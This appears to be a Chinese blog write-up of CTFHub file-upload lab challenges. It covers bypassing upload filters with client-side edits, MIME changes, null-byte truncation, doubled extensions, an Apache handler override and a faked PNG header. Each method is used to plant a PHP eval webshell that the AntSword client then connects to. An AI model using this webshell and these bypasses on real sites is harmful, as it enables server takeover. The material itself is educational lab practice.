当前位置:首页 » 《随便一记》 » 正文

CTFHub |文件上传 (无验证, 前端验证, .haccess绕过, MIME绕过, 00截断, 双写后缀, 文件头检查)

25 人参与  2024年04月10日 17:10  分类 : 《随便一记》  评论

点击全文阅读


CTFHub | 文件上传

无验证

使用工具:中国剑蚁(D:\AntSword_Loader\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe)

在下载这个工具的时候,浏览器拦截说有病毒。使用git clone下载。十分丝滑。

先上传文件a.php
<?php@eval($_POST['hack']);?>

页面回显文件被放在:/load/a.php中

打开中国剑蚁,右键添加数据,输入url(http://xxx.com/load/a.php), 输入‘连接密码’:hack, 点击添加。打开数据条,遍历目录,发现flag文件。

前端验证

查看网页源代码,发现js有对文件类型的验证。限制只能上传 .jpg .png .gif的文件。对a.php改名:a.jpg,成功添加进文件。burpsuite抓包,修改filename为a.php,为了服务器那边能够以.php的形式运行它。利用剑蚁工具,步骤同<无验证>这一题。总结:先顺着js验证在前端上传文件,然后在赶在后端处理之前修改回去。

.haccess绕过

查看网页源代码,发现blacklist, 于是明白是.haccess绕过题, 先上传一个.haccess文件到服务器后端,配置成可以通过无后缀文件。
<FilesMatch "filename">SetHandler application/x-httpd-php</FilesMatch>
再按照<无验证>这一题的方法上传a.php文件。迷惑? 这一题我第一次做的时候.haccess写错了,标签名字写成了FileMatch, 后续步骤一样,也能得到网页文件,但只有一个,且只有一行,写着错误的flag。奇怪。

MIME绕过

先上传文件a.phpburpsuite抓包拦截,改Content-Type字段。
将:Content-Type: application/octet-stream     # 告知以流文件形式下载文件,只知道这是二进制文件。改成:Content-Type: image/gif

注意:

这里有两个Content-Type字段,第一个用来限定文件显示范围的,第二个才是限定文件类型。

<无验证>套路

00 截断

php5.2 00截断上传的原理

文件上传绕过之00截断_00截断绕过-CSDN博客

迷惑?为什么直接在上传文件命名为a.php%00.gif提交后,页面提示上传成功,但是实际上没有?而且路径也变成/htm/upload/,这个路径十分奇怪啊。解决办法:burpsuite抓包,改第一行路径,加上a.php%00.gif

双写后缀

过滤策略:将白名单上的后缀替换为空。构造特殊的文件名,如a.pasahp, 这样的话,经过替换,最终得到的文件是a.php。

这里很奇特的一点:我尝试构造a.phpphp,上传后的文件是a. 也就是说,两个php都被替换为空了。猜测这个str_ireplace()函数应该是设置一个指针,遍历整个字符串,边遍历便查找,一经找到就删除,继续往后查找,而不是找到第一个就删除并返回。

下同<无验证>

文件头检查

第一种方法:按理来说应该也可以,上传也成功,但是出现不解的问题。

先提交一个.png文件(不宜太大,大了上传不了),burpsuite抓包,然后修改文件名为a.php,在文件内容里面(文件末尾)添加一句话木马。
<?php @eval($_POST['hack']); ?>

b. <无验证>

c. 出现问题:剑蚁连接得上,但是返回{}空。

第二种方法:Winhex打开a.php文件。复制89504E47, 在文件开头>编辑>剪贴板数据>粘贴>ASCII Hex, 保存退出。直接上传a.php文件。<无验证>


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/93389.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1